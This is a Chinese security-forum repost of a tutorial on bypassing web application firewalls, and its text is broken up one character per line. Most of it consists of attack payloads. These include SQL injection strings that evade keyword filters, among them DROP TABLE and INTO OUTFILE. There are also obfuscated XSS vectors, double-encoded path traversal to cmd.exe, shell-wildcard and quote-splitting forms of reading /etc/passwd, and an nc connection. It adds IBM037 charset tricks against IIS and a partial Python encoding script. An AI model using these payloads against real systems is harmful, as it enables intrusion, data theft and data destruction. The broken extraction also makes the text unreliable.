论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
编程语言
[22004] 2021-05-24_干货各种WAF绕过手法学习
文档创建者:
s7ckTeam
浏览次数:
3
最后更新:
2025-01-18
编程语言
3 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2021-05-24_干货各种WAF绕过手法学习
干
货
|
各
种
W
A
F
绕
过
手
法
学
习
L
e
m
o
n
S
e
c
2
0
2
1
-
0
5
-
2
4
内
容
来
源
:
博
客
:
j
a
x
7
7
7
.
w
i
n
0
X
0
0
F
u
z
z
/
爆
破
爆
破
f
u
z
z
字
典
字
典
1
.
S
e
c
l
i
s
t
s
/
F
u
z
z
i
n
g
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
d
a
n
i
e
l
m
i
e
s
s
l
e
r
/
S
e
c
L
i
s
t
s
/
t
r
e
e
/
m
a
s
t
e
r
/
F
u
z
z
i
n
g
2
.
F
u
z
z
-
D
B
/
A
t
t
a
c
k
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
f
u
z
z
d
b
-
p
r
o
j
e
c
t
/
f
u
z
z
d
b
/
t
r
e
e
/
m
a
s
t
e
r
/
a
t
t
a
c
k
3
.
O
t
h
e
r
P
a
y
l
o
a
d
s
可
能
会
被
可
能
会
被
b
a
n
i
p
,
小
心
为
妙
。
,
小
心
为
妙
。
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
f
o
o
s
p
i
d
y
/
p
a
y
l
o
a
d
s
0
X
0
1
正
则
绕
过
正
则
绕
过
多
少
w
a
f
使
用
正
则
匹
配
。
黑
名
单
检
测
/
b
y
p
a
s
s
C
a
s
e
:
S
Q
L
注
入
•
S
t
e
p
1
:
•
S
t
e
p
2
:
过
滤
关
键
词
:
a
n
d
,
o
r
,
u
n
i
o
n
可
能
正
则
:
p
r
e
g
_
m
a
t
c
h
(
'
/
(
a
n
d
|
o
r
|
u
n
i
o
n
)
/
i
'
,
$
i
d
)
被
拦
截
的
语
句
:
u
n
i
o
n
s
e
l
e
c
t
u
s
e
r
,
p
a
s
s
w
o
r
d
f
r
o
m
u
s
e
r
s
b
y
p
a
s
s
语
句
:
1
|
|
(
s
e
l
e
c
t
u
s
e
r
f
r
o
m
u
s
e
r
s
w
h
e
r
e
u
s
e
r
_
i
d
=
1
)
=
'
a
d
m
i
n
'
•
S
t
e
p
3
:
•
S
t
e
p
4
:
•
S
t
e
p
5
:
•
S
t
e
p
6
:
•
S
t
e
p
7
:
•
S
t
e
p
8
:
过
滤
关
键
词
:
a
n
d
,
o
r
,
u
n
i
o
n
,
w
h
e
r
e
被
拦
截
的
语
句
:
1
|
|
(
s
e
l
e
c
t
u
s
e
r
f
r
o
m
u
s
e
r
s
w
h
e
r
e
u
s
e
r
_
i
d
=
1
)
=
'
a
d
m
i
n
'
b
y
p
a
s
s
语
句
:
1
|
|
(
s
e
l
e
c
t
u
s
e
r
f
r
o
m
u
s
e
r
s
l
i
m
i
t
1
)
=
'
a
d
m
i
n
'
过
滤
关
键
词
:
a
n
d
,
o
r
,
u
n
i
o
n
,
w
h
e
r
e
,
l
i
m
i
t
被
拦
截
的
语
句
:
1
|
|
(
s
e
l
e
c
t
u
s
e
r
f
r
o
m
u
s
e
r
s
l
i
m
i
t
1
)
=
'
a
d
m
i
n
'
b
y
p
a
s
s
语
句
:
1
|
|
(
s
e
l
e
c
t
u
s
e
r
f
r
o
m
u
s
e
r
s
g
r
o
u
p
b
y
u
s
e
r
_
i
d
h
a
v
i
n
g
u
s
e
r
_
i
d
=
1
)
=
'
a
d
m
i
n
'
过
滤
关
键
词
:
a
n
d
,
o
r
,
u
n
i
o
n
,
w
h
e
r
e
,
l
i
m
i
t
,
g
r
o
u
p
b
y
被
拦
截
的
语
句
:
1
|
|
(
s
e
l
e
c
t
u
s
e
r
f
r
o
m
u
s
e
r
s
g
r
o
u
p
b
y
u
s
e
r
_
i
d
h
a
v
i
n
g
u
s
e
r
_
i
d
=
1
)
=
'
a
d
m
i
n
'
b
y
p
a
s
s
语
句
:
1
|
|
(
s
e
l
e
c
t
s
u
b
s
t
r
(
g
r
o
u
p
_
c
o
n
c
a
t
(
u
s
e
r
_
i
d
)
,
1
,
1
)
u
s
e
r
f
r
o
m
u
s
e
r
s
)
=
1
过
滤
关
键
词
:
a
n
d
,
o
r
,
u
n
i
o
n
,
w
h
e
r
e
,
l
i
m
i
t
,
g
r
o
u
p
b
y
,
s
e
l
e
c
t
被
拦
截
的
语
句
:
1
|
|
(
s
e
l
e
c
t
s
u
b
s
t
r
(
g
r
u
o
p
_
c
o
n
c
a
t
(
u
s
e
r
_
i
d
)
,
1
,
1
)
u
s
e
r
f
r
o
m
u
s
e
r
s
)
=
1
b
y
p
a
s
s
语
句
:
1
|
|
1
=
1
i
n
t
o
o
u
t
f
i
l
e
'
r
e
s
u
l
t
.
t
x
t
'
b
y
p
a
s
s
语
句
:
1
|
|
s
u
b
s
t
r
(
u
s
e
r
,
1
,
1
)
=
'
a
'
过
滤
关
键
词
:
a
n
d
,
o
r
,
u
n
i
o
n
,
w
h
e
r
e
,
l
i
m
i
t
,
g
r
o
u
p
b
y
,
s
e
l
e
c
t
,
'
被
拦
截
的
语
句
:
1
|
|
(
s
e
l
e
c
t
s
u
b
s
t
r
(
g
r
u
o
p
_
c
o
n
c
a
t
(
u
s
e
r
_
i
d
)
,
1
,
1
)
u
s
e
r
f
r
o
m
u
s
e
r
s
)
=
1
b
y
p
a
s
s
语
句
:
1
|
|
u
s
e
r
_
i
d
i
s
n
o
t
n
u
l
l
b
y
p
a
s
s
语
句
:
1
|
|
s
u
b
s
t
r
(
u
s
e
r
,
1
,
1
)
=
0
x
6
1
b
y
p
a
s
s
语
句
:
1
|
|
s
u
b
s
t
r
(
u
s
e
r
,
1
,
1
)
=
u
n
h
e
x
(
6
1
)
过
滤
关
键
词
:
a
n
d
,
o
r
,
u
n
i
o
n
,
w
h
e
r
e
,
l
i
m
i
t
,
g
r
o
u
p
b
y
,
s
e
l
e
c
t
,
'
,
h
e
x
被
拦
截
的
语
句
:
1
|
|
s
u
b
s
t
r
(
u
s
e
r
,
1
,
1
)
=
u
n
h
e
x
(
6
1
)
b
y
p
a
s
s
语
句
:
1
|
|
s
u
b
s
t
r
(
u
s
e
r
,
1
,
1
)
=
l
o
w
e
r
(
c
o
n
v
(
1
1
,
1
0
,
3
6
)
)
•
S
t
e
p
9
:
0
X
0
2
混
淆
混
淆
/
编
码
编
码
1
.
大
小
写
大
小
写
2
.
U
R
L
编
码
编
码
3
.
U
n
i
c
o
d
e
编
码
编
码
4
.
H
T
M
L
实
体
编
码
实
体
编
码
过
滤
关
键
词
:
a
n
d
,
o
r
,
u
n
i
o
n
,
w
h
e
r
e
,
l
i
m
i
t
,
g
r
o
u
p
b
y
,
s
e
l
e
c
t
,
'
,
h
e
x
,
s
u
b
s
t
r
被
拦
截
的
语
句
:
1
|
|
s
u
b
s
t
r
(
u
s
e
r
,
1
,
1
)
=
l
o
w
e
r
(
c
o
n
v
(
1
1
,
1
0
,
3
6
)
)
b
y
p
a
s
s
语
句
:
1
|
|
l
p
a
d
(
u
s
e
r
,
7
,
1
)
过
滤
关
键
词
:
a
n
d
,
o
r
,
u
n
i
o
n
,
w
h
e
r
e
,
l
i
m
i
t
,
g
r
o
u
p
b
y
,
s
e
l
e
c
t
,
'
,
h
e
x
,
s
u
b
s
t
r
,
w
h
i
t
e
s
p
a
c
e
被
拦
截
的
语
句
:
1
|
|
l
p
a
d
(
u
s
e
r
,
7
,
1
)
b
y
p
a
s
s
语
句
:
1
%
0
b
|
|
%
0
b
l
p
a
d
(
u
s
e
r
,
7
,
1
)
标
准
:
<
s
c
r
i
p
t
>
a
l
e
r
t
(
)
<
/
s
c
r
i
p
t
>
B
y
p
a
s
s
e
d
:
<
S
c
R
i
p
T
>
a
l
e
r
t
(
)
<
/
s
C
R
i
p
T
>
标
准
:
S
E
L
E
C
T
*
F
R
O
M
a
l
l
_
t
a
b
l
e
s
W
H
E
R
E
O
W
N
E
R
=
'
D
A
T
A
B
A
S
E
_
N
A
M
E
'
B
y
p
a
s
s
e
d
:
s
E
L
e
c
T
*
F
r
O
m
a
l
l
_
t
a
b
l
e
s
w
h
E
R
e
O
W
N
E
R
=
'
D
A
T
A
B
A
S
E
_
N
A
M
E
'
被
阻
断
语
句
:
<
s
v
G
/
x
=
"
>
"
/
o
N
l
o
a
D
=
c
o
n
f
i
r
m
(
)
/
/
B
y
p
a
s
s
e
d
:
%
3
C
s
v
G
%
2
F
x
%
3
D
%
2
2
%
3
E
%
2
2
%
2
F
o
N
l
o
a
D
%
3
D
c
o
n
f
i
r
m
%
2
8
%
2
9
%
2
F
%
2
F
被
阻
断
语
句
:
u
N
I
o
N
(
s
E
l
e
C
T
1
,
2
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
1
0
,
1
1
,
1
2
)
B
y
p
a
s
s
e
d
:
u
N
I
o
N
%
2
8
s
E
l
e
C
T
+
1
%
2
C
2
%
2
C
3
%
2
C
4
%
2
C
5
%
2
C
6
%
2
C
7
%
2
C
8
%
2
C
9
%
2
C
1
0
%
2
C
1
1
%
2
C
1
2
%
2
9
标
准
:
<
m
a
r
q
u
e
e
o
n
s
t
a
r
t
=
p
r
o
m
p
t
(
)
>
混
淆
:
<
m
a
r
q
u
e
e
o
n
s
t
a
r
t
=
u
0
0
7
0
r
u
0
6
f
u
0
0
6
d
p
t
(
)
>
被
阻
断
语
句
:
/
?
r
e
d
i
r
=
h
t
t
p
:
/
/
g
o
o
g
l
e
.
c
o
m
B
y
p
a
s
s
e
d
:
/
?
r
e
d
i
r
=
h
t
t
p
:
/
/
g
o
o
g
l
e
。
c
o
m
(
U
n
i
c
o
d
e
替
代
)
被
阻
断
语
句
:
<
m
a
r
q
u
e
e
l
o
o
p
=
1
o
n
f
i
n
i
s
h
=
a
l
e
r
t
(
)
>
x
B
y
p
a
s
s
e
d
:
<
m
a
r
q
u
e
e
l
o
o
p
=
1
o
n
f
i
n
i
s
h
=
a
l
e
r
t
︵
1
)
>
x
(
U
n
i
c
o
d
e
替
代
)
T
I
P
:
查
看
这
些
说
明
t
h
i
s
a
n
d
t
h
i
s
r
e
p
o
r
t
s
o
n
H
a
c
k
e
r
O
n
e
.
:
)
5
.
混
合
编
码
混
合
编
码
混
淆
混
淆
:
7
.
双
重
双
重
U
R
L
编
码
编
码
8
.
通
配
符
使
用
通
配
符
使
用
9
.
动
态
动
态
p
a
y
l
o
a
d
生
成
生
成
标
准
:
"
>
<
i
m
g
s
r
c
=
x
o
n
e
r
r
o
r
=
c
o
n
f
i
r
m
(
)
>
E
n
c
o
d
e
d
:
&
q
u
o
t
;
&
g
t
;
&
l
t
;
i
m
g
s
r
c
=
x
o
n
e
r
r
o
r
=
c
o
n
f
i
r
m
&
l
p
a
r
;
&
r
p
a
r
;
&
g
t
;
(
G
e
n
e
r
a
l
f
o
r
m
)
E
n
c
o
d
e
d
:
&
#
3
4
;
&
#
6
2
;
&
#
6
0
;
i
m
g
s
r
c
=
x
o
n
e
r
r
o
r
=
c
o
n
f
i
r
m
&
#
4
0
;
&
#
4
1
;
&
#
6
2
;
(
N
u
m
e
r
i
c
r
e
f
e
r
e
n
c
e
)
S
o
m
e
t
i
m
e
s
,
W
A
F
r
u
l
e
s
o
f
t
e
n
t
e
n
d
t
o
f
i
l
t
e
r
o
u
t
a
s
p
e
c
i
f
i
c
t
y
p
e
o
f
e
n
c
o
d
i
n
g
.
T
h
i
s
t
y
p
e
o
f
f
i
l
t
e
r
s
c
a
n
b
e
b
y
p
a
s
s
e
d
b
y
m
i
x
e
d
e
n
c
o
d
i
n
g
p
a
y
l
o
a
d
s
.
T
a
b
s
a
n
d
n
e
w
l
i
n
e
s
f
u
r
t
h
e
r
a
d
d
t
o
o
b
f
u
s
c
a
t
i
o
n
.
<
A
H
R
E
F
=
"
h
t
t
p
:
/
/
6
6
.
0
0
0
1
4
6
.
0
x
7
.
1
4
7
/
"
>
X
S
S
<
/
A
>
这
个
需
要
服
务
端
多
次
解
析
了
u
r
l
编
码
标
准
:
h
t
t
p
:
/
/
v
i
c
t
i
m
/
c
g
i
/
.
.
/
.
.
/
w
i
n
n
t
/
s
y
s
t
e
m
3
2
/
c
m
d
.
e
x
e
?
/
c
+
d
i
r
+
c
:
混
淆
:
h
t
t
p
:
/
/
v
i
c
t
i
m
/
c
g
i
/
%
2
5
2
E
%
2
5
2
E
%
2
5
2
F
%
2
5
2
E
%
2
5
2
E
%
2
5
2
F
w
i
n
n
t
/
s
y
s
t
e
m
3
2
/
c
m
d
.
e
x
e
?
/
c
+
d
i
r
+
c
:
标
准
:
<
s
c
r
i
p
t
>
a
l
e
r
t
(
)
<
/
s
c
r
i
p
t
>
混
淆
:
%
2
5
3
C
s
c
r
i
p
t
%
2
5
3
E
a
l
e
r
t
(
)
%
2
5
3
C
%
2
5
2
F
s
c
r
i
p
t
%
2
5
3
E
用
于
l
i
n
u
x
命
令
语
句
注
入
,
通
过
s
h
e
l
l
通
配
符
绕
过
标
准
:
/
b
i
n
/
c
a
t
/
e
t
c
/
p
a
s
s
w
d
混
淆
:
/
?
?
?
/
?
?
t
/
?
?
?
/
?
?
s
s
?
?
U
s
e
d
c
h
a
r
s
:
/
?
t
s
标
准
:
/
b
i
n
/
n
c
1
2
7
.
0
.
0
.
1
1
3
3
7
混
淆
:
/
?
?
?
/
n
?
2
1
3
0
7
0
6
4
3
3
1
3
3
7
U
s
e
d
c
h
a
r
s
:
/
?
n
[
0
-
9
]
9
.
垃
圾
字
符
垃
圾
字
符
N
O
T
E
:
上
述
语
句
可
能
会
破
坏
正
则
的
匹
配
,
达
到
绕
过
。
1
0
.
插
入
换
行
符
插
入
换
行
符
1
1
.
未
定
义
变
量
未
定
义
变
量
T
I
P
:
随
便
写
个
不
存
在
的
变
量
就
好
。
标
准
:
<
s
c
r
i
p
t
>
a
l
e
r
t
(
)
<
/
s
c
r
i
p
t
>
混
淆
:
<
s
c
r
i
p
t
>
e
v
a
l
(
'
a
l
'
+
'
e
r
'
+
'
t
(
)
'
)
<
/
s
c
r
i
p
t
>
标
准
:
/
b
i
n
/
c
a
t
/
e
t
c
/
p
a
s
s
w
d
混
淆
:
/
b
i
'
n
'
'
'
/
c
'
'
a
t
'
/
e
'
t
c
'
/
p
a
'
'
s
s
'
w
d
B
a
s
h
a
l
l
o
w
s
p
a
t
h
c
o
n
c
a
t
e
n
a
t
i
o
n
f
o
r
e
x
e
c
u
t
i
o
n
.
标
准
:
<
i
f
r
a
m
e
/
o
n
l
o
a
d
=
'
t
h
i
s
[
"
s
r
c
"
]
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
)
"
'
;
>
混
淆
:
<
i
f
r
a
m
e
/
o
n
l
o
a
d
=
'
t
h
i
s
[
"
s
r
c
"
]
=
"
j
a
v
"
+
"
a
s
&
T
a
b
;
c
r
"
+
"
i
p
t
:
a
l
"
+
"
e
r
"
+
"
t
(
)
"
'
;
>
N
o
r
m
a
l
p
a
y
l
o
a
d
s
g
e
t
f
i
l
t
e
r
e
d
o
u
t
e
a
s
i
l
y
.
A
d
d
i
n
g
s
o
m
e
j
u
n
k
c
h
a
r
s
h
e
l
p
s
a
v
o
i
d
d
e
t
e
c
t
i
o
n
(
s
p
e
c
i
f
i
c
c
a
s
e
s
o
n
l
y
)
.
T
h
e
y
o
f
t
e
n
h
e
l
p
i
n
c
o
n
f
u
s
i
n
g
r
e
g
e
x
b
a
s
e
d
f
i
r
e
w
a
l
l
s
.
标
准
:
<
s
c
r
i
p
t
>
a
l
e
r
t
(
)
<
/
s
c
r
i
p
t
>
混
淆
:
<
s
c
r
i
p
t
>
+
-
+
-
1
-
+
-
+
a
l
e
r
t
(
1
)
<
/
s
c
r
i
p
t
>
标
准
:
<
B
O
D
Y
o
n
l
o
a
d
=
a
l
e
r
t
(
)
>
混
淆
:
<
B
O
D
Y
o
n
l
o
a
d
!
#
$
%
&
(
)
*
~
+
-
_
.
,
:
;
?
@
[
/
|
]
^
`
=
a
l
e
r
t
(
)
>
标
准
:
<
a
h
r
e
f
=
j
a
v
a
s
c
r
i
p
t
;
a
l
e
r
t
(
)
>
C
l
i
c
k
M
e
B
y
p
a
s
s
e
d
:
<
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
h
r
e
f
=
j
&
#
9
7
v
&
#
9
7
s
c
r
i
p
t
&
#
x
3
A
;
&
#
9
7
l
e
r
t
部
分
w
a
f
可
能
会
对
换
行
符
没
有
匹
配
标
准
:
<
i
f
r
a
m
e
s
r
c
=
j
a
v
a
s
c
r
i
p
t
:
c
o
n
f
i
r
m
(
0
)
"
>
混
淆
:
<
i
f
r
a
m
e
s
r
c
=
"
%
0
A
j
%
0
A
a
%
0
A
v
%
0
A
a
%
0
A
s
%
0
A
c
%
0
A
r
%
0
A
i
%
0
A
p
%
0
A
t
%
0
A
%
3
A
c
o
n
f
i
r
m
(
0
)
"
>
b
a
s
h
和
p
e
r
l
执
行
脚
本
中
加
入
未
定
义
变
量
,
干
扰
正
则
。
$
a
a
a
a
,
$
s
d
a
y
u
h
j
b
s
a
d
,
$
d
a
d
2
e
d
都
可
以
。
1
2
.
T
a
b
键
和
换
行
符
键
和
换
行
符
1
3
.
T
o
k
e
n
B
r
e
a
k
e
r
s
(
翻
译
不
了
翻
译
不
了
看
起
来
说
的
就
是
看
起
来
说
的
就
是
s
q
l
注
入
闭
合
注
入
闭
合
)
L
e
v
e
l
1
O
b
f
u
s
c
a
t
i
o
n
:
N
o
r
m
a
l
标
准
:
/
b
i
n
/
c
a
t
/
e
t
c
/
p
a
s
s
w
d
混
淆
:
/
b
i
n
/
c
a
t
$
u
/
e
t
c
/
p
a
s
s
w
d
$
u
L
e
v
e
l
2
O
b
f
u
s
c
a
t
i
o
n
:
P
o
s
t
i
o
n
B
a
s
e
d
标
准
:
/
b
i
n
/
c
a
t
/
e
t
c
/
p
a
s
s
w
d
混
淆
:
$
u
/
b
i
n
$
u
/
c
a
t
$
u
$
u
/
e
t
c
$
u
/
p
a
s
s
w
d
$
u
L
e
v
e
l
3
O
b
f
u
s
c
a
t
i
o
n
:
R
a
n
d
o
m
c
h
a
r
a
c
t
e
r
s
标
准
:
/
b
i
n
/
c
a
t
/
e
t
c
/
p
a
s
s
w
d
混
淆
:
$
a
a
a
a
a
a
/
b
i
n
$
b
b
b
b
b
b
/
c
a
t
$
c
c
c
c
c
c
c
$
d
d
d
d
d
d
/
e
t
c
$
e
e
e
e
e
e
e
/
p
a
s
s
w
d
$
f
f
f
f
f
f
f
一
个
精
心
制
作
的
p
a
y
l
o
a
d
$
s
d
i
j
c
h
k
d
/
?
?
?
$
s
d
j
h
s
k
d
j
h
/
?
?
t
$
s
k
d
j
f
n
s
k
d
j
$
s
d
o
f
h
s
d
h
j
s
/
?
?
?
$
o
s
d
i
h
d
h
s
d
j
/
?
?
s
s
?
?
$
s
k
d
j
h
s
i
u
d
f
大
多
数
w
a
f
匹
配
的
是
空
格
不
是
T
a
b
标
准
:
<
I
M
G
S
R
C
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
)
;
"
>
B
y
p
a
s
s
e
d
:
<
I
M
G
S
R
C
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
)
;
"
>
变
形
:
<
I
M
G
S
R
C
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
)
;
"
>
标
准
:
h
t
t
p
:
/
/
t
e
s
t
.
c
o
m
/
t
e
s
t
?
i
d
=
1
u
n
i
o
n
s
e
l
e
c
t
1
,
2
,
3
标
准
:
h
t
t
p
:
/
/
t
e
s
t
.
c
o
m
/
t
e
s
t
?
i
d
=
1
%
0
9
u
n
i
o
n
%
2
3
%
0
A
%
0
D
s
e
l
e
c
t
%
2
D
%
2
D
%
0
A
%
0
D
1
,
2
,
3
标
准
:
<
i
f
r
a
m
e
s
r
c
=
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
1
)
>
<
/
i
f
r
a
m
e
>
混
淆
:
<
i
f
r
a
m
e
s
r
c
=
j
&
T
a
b
;
a
&
T
a
b
;
v
&
T
a
b
;
a
&
T
a
b
;
s
&
T
a
b
;
c
&
T
a
b
;
r
&
T
a
b
;
i
&
T
a
b
;
p
&
T
a
b
;
t
&
T
a
b
;
:
a
&
T
a
b
;
l
&
T
a
b
;
e
&
T
a
b
;
r
&
T
a
b
;
t
&
T
a
b
;
%
2
8
&
T
a
b
;
1
&
T
a
b
;
%
2
9
A
t
t
a
c
k
s
o
n
t
o
k
e
n
i
z
e
r
s
a
t
t
e
m
p
t
t
o
b
r
e
a
k
t
h
e
l
o
g
i
c
o
f
s
p
l
i
t
t
i
n
g
a
r
e
q
u
e
s
t
i
n
t
o
t
o
k
e
n
s
w
i
t
h
t
h
e
h
e
l
p
T
o
k
e
n
b
r
e
a
k
e
r
s
a
r
e
s
y
m
b
o
l
s
t
h
a
t
a
l
l
o
w
a
f
f
e
c
t
i
n
g
t
h
e
c
o
r
r
e
s
p
o
n
d
e
n
c
e
b
e
t
w
e
e
n
a
n
e
l
e
m
e
n
t
o
f
a
s
t
r
i
n
g
H
o
w
e
v
e
r
,
t
h
e
r
e
q
u
e
s
t
m
u
s
t
s
t
i
l
l
r
e
m
a
i
n
v
a
l
i
d
w
h
i
l
e
u
s
i
n
g
t
o
k
e
n
-
b
r
e
a
k
e
r
s
.
T
I
P
:
更
多
p
a
y
l
o
a
d
可
以
看
这
里
c
h
e
a
t
s
h
e
e
t
.
1
4
.
其
他
格
式
混
淆
其
他
格
式
混
淆
C
a
s
e
:
I
I
S
原
始
请
求
:
混
淆
请
求
+
U
R
L
E
n
c
o
d
i
n
g
:
C
a
s
e
:
U
n
k
n
o
w
n
T
o
k
e
n
f
o
r
t
h
e
T
o
k
e
n
i
z
e
r
P
a
y
l
o
a
d
:
?
i
d
=
‘
-
s
q
l
i
t
e
_
v
e
r
s
i
o
n
(
)
U
N
I
O
N
S
E
L
E
C
T
p
a
s
s
w
o
r
d
F
R
O
M
u
s
e
r
s
-
-
C
a
s
e
:
U
n
k
n
o
w
n
C
o
n
t
e
x
t
f
o
r
t
h
e
P
a
r
s
e
r
(
N
o
t
i
c
e
t
h
e
u
n
c
o
n
t
e
x
t
e
d
b
r
a
c
k
e
t
)
P
a
y
l
o
a
d
1
:
?
i
d
=
1
2
3
)
;
D
R
O
P
T
A
B
L
E
u
s
e
r
s
-
-
P
a
y
l
o
a
d
2
:
?
i
d
=
1
3
3
7
)
I
N
T
O
O
U
T
F
I
L
E
‘
x
x
x
’
-
-
许
多
w
e
b
应
用
程
序
支
持
不
同
的
编
码
类
型
(
如
下
表
)
混
淆
成
服
务
器
可
解
析
、
w
a
f
不
可
解
析
的
编
码
类
型
I
I
S
6
,
7
.
5
,
8
a
n
d
1
0
(
A
S
P
X
v
4
.
x
)
允
许
I
B
M
0
3
7
字
符
可
以
发
送
编
码
后
的
参
数
名
和
值
P
O
S
T
/
s
a
m
p
l
e
.
a
s
p
x
?
i
d
1
=
s
o
m
e
t
h
i
n
g
H
T
T
P
/
1
.
1
H
O
S
T
:
v
i
c
t
i
m
.
c
o
m
C
o
n
t
e
n
t
-
T
y
p
e
:
a
p
p
l
i
c
a
t
i
o
n
/
x
-
w
w
w
-
f
o
r
m
-
u
r
l
e
n
c
o
d
e
d
;
c
h
a
r
s
e
t
=
u
t
f
-
8
C
o
n
t
e
n
t
-
L
e
n
g
t
h
:
4
1
i
d
2
=
'
u
n
i
o
n
a
l
l
s
e
l
e
c
t
*
f
r
o
m
u
s
e
r
s
-
-
T
I
P
:
可
以
使
用
这
个
小
脚
本
来
转
化
编
码
P
O
S
T
/
s
a
m
p
l
e
.
a
s
p
x
?
%
8
9
%
8
4
%
F
1
=
%
A
2
%
9
6
%
9
4
%
8
5
%
A
3
%
8
8
%
8
9
%
9
5
%
8
7
H
T
T
P
/
1
.
1
H
O
S
T
:
v
i
c
t
i
m
.
c
o
m
C
o
n
t
e
n
t
-
T
y
p
e
:
a
p
p
l
i
c
a
t
i
o
n
/
x
-
w
w
w
-
f
o
r
m
-
u
r
l
e
n
c
o
d
e
d
;
c
h
a
r
s
e
t
=
i
b
m
0
3
7
C
o
n
t
e
n
t
-
L
e
n
g
t
h
:
1
1
5
%
8
9
%
8
4
%
F
2
=
%
7
D
%
A
4
%
9
5
%
8
9
%
9
6
%
9
5
%
4
0
%
8
1
%
9
3
%
9
3
%
4
0
%
A
2
%
8
5
%
9
3
%
8
5
%
8
3
%
A
3
%
4
0
%
5
C
%
4
0
%
8
6
%
9
9
%
9
6
%
9
4
%
4
0
%
A
4
%
A
2
%
8
5
%
9
9
%
A
2
%
6
0
%
6
0
i
m
p
o
r
t
u
r
l
l
i
b
.
p
a
r
s
e
,
s
y
s
f
r
o
m
a
r
g
p
a
r
s
e
i
m
p
o
r
t
A
r
g
u
m
e
n
t
P
a
r
s
e
r
l
a
c
k
o
f
a
r
t
=
'
'
'
O
B
F
U
S
C
A
T
O
R
'
'
'
d
e
f
p
a
r
a
m
E
n
c
o
d
e
(
p
a
r
a
m
s
=
"
"
,
c
h
a
r
s
e
t
=
"
"
,
e
n
c
o
d
e
E
q
u
a
l
S
i
g
n
=
F
a
l
s
e
,
e
n
c
o
d
e
A
m
p
e
r
s
a
n
d
=
F
a
l
s
e
,
u
r
l
D
e
c
o
d
e
I
n
p
u
t
=
T
r
u
e
,
u
r
l
E
n
c
o
d
e
O
u
t
p
u
t
=
T
r
u
e
)
r
e
s
u
l
t
=
"
"
e
q
u
a
l
S
i
g
n
=
"
=
"
a
m
p
e
r
s
a
n
d
=
"
&
"
i
f
'
=
'
a
n
d
'
&
'
i
n
p
a
r
a
m
s
:
i
f
e
n
c
o
d
e
E
q
u
a
l
S
i
g
n
:
e
q
u
a
l
S
i
g
n
=
e
q
u
a
l
S
i
g
n
.
e
n
c
o
d
e
(
c
h
a
r
s
e
t
)
i
f
e
n
c
o
d
e
A
m
p
e
r
s
a
n
d
:
a
m
p
e
r
s
a
n
d
=
a
m
p
e
r
s
a
n
d
.
e
n
c
o
d
e
(
c
h
a
r
s
e
t
)
p
a
r
a
m
s
_
l
i
s
t
=
p
a
r
a
m
s
.
s
p
l
i
t
(
"
&
"
)
f
o
r
p
a
r
a
m
_
p
a
i
r
i
n
p
a
r
a
m
s
_
l
i
s
t
:
p
a
r
a
m
,
v
a
l
u
e
=
p
a
r
a
m
_
p
a
i
r
.
s
p
l
i
t
(
"
=
"
)
i
f
u
r
l
D
e
c
o
d
e
I
n
p
u
t
:
p
a
r
a
m
=
u
r
l
l
i
b
.
p
a
r
s
e
.
u
n
q
u
o
t
e
(
p
a
r
a
m
)
v
a
l
u
e
=
u
r
l
l
i
b
.
p
a
r
s
e
.
u
n
q
u
o
t
e
(
v
a
l
u
e
)
p
a
r
a
m
=
p
a
r
a
m
.
e
n
c
o
d
e
(
c
h
a
r
s
e
t
)
v
a
l
u
e
=
v
a
l
u
e
.
e
n
c
o
d
e
(
c
h
a
r
s
e
t
)
i
f
u
r
l
E
n
c
o
d
e
O
u
t
p
u
t
:
p
a
r
a
m
=
u
r
l
l
i
b
.
p
a
r
s
e
.
q
u
o
t
e
_
p
l
u
s
(
p
a
r
a
m
)
v
a
l
u
e
=
u
r
l
l
i
b
.
p
a
r
s
e
.
q
u
o
t
e
_
p
l
u
s
(
v
a
l
u
e
)
i
f
r
e
s
u
l
t
:
r
e
s
u
l
t
+
=
a
m
p
e
r
s
a
n
d
r
e
s
u
l
t
+
=
p
a
r
a
m
+
e
q
u
a
l
S
i
g
n
+
v
a
l
u
e
服
务
器
信
息
服
务
器
信
息
可
用
编
码
可
用
编
码
说
明
说
明
r
e
s
u
l
t
+
=
p
a
r
a
m
+
e
q
u
a
l
S
i
g
n
+
v
a
l
u
e
e
l
s
e
:
i
f
u
r
l
D
e
c
o
d
e
I
n
p
u
t
:
p
a
r
a
m
s
=
u
r
l
l
i
b
.
p
a
r
s
e
.
u
n
q
u
o
t
e
(
p
a
r
a
m
s
)
r
e
s
u
l
t
=
p
a
r
a
m
s
.
e
n
c
o
d
e
(
c
h
a
r
s
e
t
)
i
f
u
r
l
E
n
c
o
d
e
O
u
t
p
u
t
:
r
e
s
u
l
t
=
u
r
l
l
i
b
.
p
a
r
s
e
.
q
u
o
t
e
_
p
l
u
s
(
r
e
s
u
l
t
)
r
e
t
u
r
n
r
e
s
u
l
t
d
e
f
m
a
i
n
(
)
:
p
r
i
n
t
(
l
a
c
k
o
f
a
r
t
)
p
a
r
s
e
r
=
A
r
g
u
m
e
n
t
P
a
r
s
e
r
(
'
p
y
t
h
o
n
3
o
b
f
u
.
p
y
'
)
p
a
r
s
e
r
.
_
a
c
t
i
o
n
_
g
r
o
u
p
s
.
p
o
p
(
)
#
A
s
i
m
p
l
e
h
a
c
k
t
o
h
a
v
e
r
e
q
u
i
r
e
d
a
r
g
u
m
e
n
t
s
a
n
d
o
p
t
i
o
n
a
l
a
r
g
u
m
e
n
t
s
s
e
p
a
r
a
t
e
l
y
r
e
q
u
i
r
e
d
=
p
a
r
s
e
r
.
a
d
d
_
a
r
g
u
m
e
n
t
_
g
r
o
u
p
(
'
R
e
q
u
i
r
e
d
A
r
g
u
m
e
n
t
s
'
)
o
p
t
i
o
n
a
l
=
p
